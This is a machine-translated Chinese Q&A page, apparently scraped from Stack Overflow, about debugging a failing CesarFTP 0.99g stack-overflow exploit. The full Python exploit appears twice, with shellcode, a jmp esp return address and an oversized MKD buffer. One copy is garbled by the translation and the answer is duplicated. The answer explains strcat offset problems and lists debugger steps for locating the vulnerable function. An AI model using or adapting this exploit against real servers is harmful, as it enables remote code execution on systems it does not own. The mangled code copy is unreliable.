Debugging 为什么cesarftp python漏洞利用不起作用?

Debugging 为什么cesarftp python漏洞利用不起作用?,debugging,ftp,exploit,ollydbg,Debugging,Ftp,Exploit,Ollydbg,我在运行cesarftp的服务器上进行了测试。我使用ollydbg调试了服务器上的ftp服务器 我使用的漏洞是 #/usr/bin/python #CesarFtp 0.99g 0天攻击 #概念证明:执行calc.exe #在XP sp2抛光机上测试 #h07发现漏洞[h07@interia.pl] #日期:10.06.2006 从套接字导入* 外壳代码=(#执行calc.exe) “\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73

我在运行cesarftp的服务器上进行了测试。我使用ollydbg调试了服务器上的ftp服务器

我使用的漏洞是

#/usr/bin/python
#CesarFtp 0.99g 0天攻击
#概念证明:执行calc.exe
#在XP sp2抛光机上测试
#h07发现漏洞[h07@interia.pl]
#日期:10.06.2006
从套接字导入*
外壳代码=(#执行calc.exe)
“\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8”
“\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1”
“\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07”
“\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25”
“\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5”
“\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d”
“\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4”
“\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0”
“\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c”
“\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b”
“\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4”)
def intel_订单(i):
a=chr(i%256)
i=i>>8
b=chr(i%256)
i=i>>8
c=chr(i%256)
i=i>>8
d=chr(i%256)
str=“%c%c%c”%(a、b、c、d)
返回str
host=“192.168.0.1”
端口=21
user=“ftp”
password=“ftp”
EIP=0x773D10A4#jmp esp
s=套接字(AF_INET,SOCK_STREAM)
s、 连接((主机、端口))
打印s.recv(1024)
s、 发送(“用户%s\r\n”%(用户))
打印s.recv(1024)
s、 发送(“传递%s\r\n”%(密码))
打印s.recv(1024)
buffer=“MKD”
缓冲区+=“\n”*671
缓冲区+=“A”*3+英特尔指令(EIP)
缓冲区+=“\x90”*40+外壳代码
缓冲区+=“\r\n”
打印“len:%d”%(len(缓冲区))
s、 发送(缓冲区)
打印s.recv(1024)
s、 关闭()
#EoF
#milw0rm.com[2006-06-12]
我将“JMP ESP”地址更改为正确的地址(因为服务器没有运行波兰语XP;它运行的是英语XP。我使用ollydbg上的可执行模块并搜索命令“JMP ESP”找到了此地址。)

然而,该漏洞未能正确执行,并且在登录后,ftp服务器崩溃,无法启动shell

在我看来,代码只需要在“JMP ESP”区域进行修改

我做错了什么


编辑:如果正确执行,外壳代码似乎会显示calc.exe。这没有发生。显然,没有获得shell。

有可能有漏洞的函数不是用strcpy()而是用strcat()复制数据。这是新手在尝试和错误编写漏洞时常见的错误

因为读取的值应该是一个路径,所以这里真正发生的可能是字符串被连接到FTP服务器根的路径

如果发生这种情况,那么您不仅要更改just地址,还要更改有效负载字符串中的偏移量(“671”值)。不幸的是,这也意味着利用漏洞将取决于知道FTP根的确切位置

为了确保您必须附加一个调试器,并查看有效负载发送前后的情况。请尝试以下操作:

  • 将调试器连接到FTP服务器
  • 运行漏洞攻击。它将使服务器崩溃
  • 现在,EIP将指向0x9090或0x0D0D。检查堆栈,直到找到指向代码的有效指针(父函数的返回地址)
  • 现在杀死服务器并重新启动
  • 再次附加调试器,并在找到的父函数的开头设置断点
  • 再次运行该漏洞攻击。现在应该命中断点了。逐步运行代码,直到找到易受攻击的函数。现在,您将能够在粉碎它之前看到哪个函数有bug以及堆栈的外观

  • 可能有漏洞的函数不是用strcpy()而是用strcat()复制数据。这是新手在尝试和错误编写漏洞时常见的错误

    因为读取的值应该是一个路径,所以这里真正发生的可能是字符串被连接到FTP服务器根的路径

    如果发生这种情况,那么您不仅要更改just地址,还要更改有效负载字符串中的偏移量(“671”值)。不幸的是,这也意味着利用漏洞将取决于知道FTP根的确切位置

    为了确保您必须附加一个调试器,并查看有效负载发送前后的情况。请尝试以下操作:

  • 将调试器连接到FTP服务器
  • 运行漏洞攻击。它将使服务器崩溃
  • 现在,EIP将指向0x9090或0x0D0D。检查堆栈,直到找到指向代码的有效指针(父函数的返回地址)
  • 现在杀死服务器并重新启动
  • 再次附加调试器,并在找到的父函数的开头设置断点
  • 再次运行该漏洞攻击。现在应该命中断点了。逐步运行代码,直到找到易受攻击的函数。现在,您将能够在粉碎它之前看到哪个函数有bug以及堆栈的外观

  • 明显的问题:你在跑0.99克吗?是的,我在跑。我检查了三次以上:)明显的问题:你在跑0.99克吗?是的,我在跑。我检查了三次以上:)
    #!/usr/bin/python
    
    #CesarFtp 0.99g 0day Exploit
    
    #Proof of Concept: execute calc.exe
    
    #Tested on XP sp2 polish
    
    #Bug found by h07 [h07@interia.pl]
    
    #Date: 10.06.2006
    
    
    
    from socket import *
    
    
    
    shellcode = ( #execute calc.exe <metasploit.com>
    
    "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
    
    "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
    
    "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
    
    "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
    
    "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
    
    "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
    
    "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
    
    "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
    
    "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
    
    "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
    
    "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
    
    
    
    def intel_order(i):
    
        a = chr(i % 256)
    
        i = i >> 8
    
        b = chr(i % 256)
    
        i = i >> 8
    
        c = chr(i % 256)
    
        i = i >> 8
    
        d = chr(i % 256)
    
        str = "%c%c%c%c" % (a, b, c, d)
    
        return str
    
    
    
    host = "192.168.0.1"
    
    port = 21
    
    user = "ftp"
    
    password = "ftp"
    
    EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english>
    
    
    
    s = socket(AF_INET, SOCK_STREAM)
    
    s.connect((host, port))
    
    print s.recv(1024)
    
    
    
    s.send("user %s\r\n" % (user))
    
    print s.recv(1024)
    
    
    
    s.send("pass %s\r\n" % (password))
    
    print s.recv(1024)
    
    
    
    buffer = "MKD "
    
    buffer += "\n" * 671
    
    buffer += "A" * 3 + intel_order(EIP)
    
    buffer += "\x90" * 40 + shellcode
    
    buffer += "\r\n"
    
    
    
    print "len: %d" % (len(buffer))
    
    
    
    s.send(buffer)
    
    print s.recv(1024)
    
    
    
    s.close()
    
    
    
    #EoF 
    
    
    
    # milw0rm.com [2006-06-12]